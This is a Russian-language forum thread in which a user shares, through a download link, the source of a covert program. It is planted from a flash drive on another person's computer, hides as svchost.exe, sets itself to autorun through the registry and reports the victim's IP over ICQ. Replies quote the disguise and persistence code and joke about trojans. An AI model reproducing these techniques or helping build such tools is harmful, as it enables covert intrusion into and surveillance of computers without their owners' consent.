Исходник программы "узнать чужой IP"

[YoraG]

Данная программа присылает IP на асю. Для этого нужно с флешки 1 раз запустить прогу на чужом компе, она себя копирует на комп и работает как ася. присылаеш на нее код, а она тебе в ответ на асю IP.
http://depositfiles.com/files/m0yauqpw5

[profi]

Посмотрим что за исходник

[Вавел из ГМТУ]

Исходничек школяра....

1.

if not FileExists('c:\WINDOWS\system\svchost.exe') then
   WindowsCopyFile(ExtractFilePath(ParamStr(0))+'svchost.exe','c:\WINDOWS\system\');

2.

WriteString('Svchost', 'c:\WINDOWS\system\svchost.exe');

3. И размерчик конечно 520 кб для прогораммки, которая светит АПИ жертвы... У меня полнофункциональный троян последней версии написаный на Delphi весит столькоже.

[YoraG]

А ты антивирями его проверял? И что он у тебя выполняет?

[Пепел Феникса]

if not FileExists('c:\WINDOWS\system\svchost.exe') then
   WindowsCopyFile(ExtractFilePath(ParamStr(0))+'svchost.exe','c:\WINDOWS\system\');

а у меня б это не сработало

[betirsolt]

кажется это мой исходник....или может совпадение

[YoraG]

Сообщение от betirsolt

кажется это мой исходник....или может совпадение

Аську написал - ...///PavelOk\\... - (айси кью клиент - это часть моей проги).
Остальное я сам писал.
Посмотри исходник, хочешь сказать это твое??? Ни чего подобного!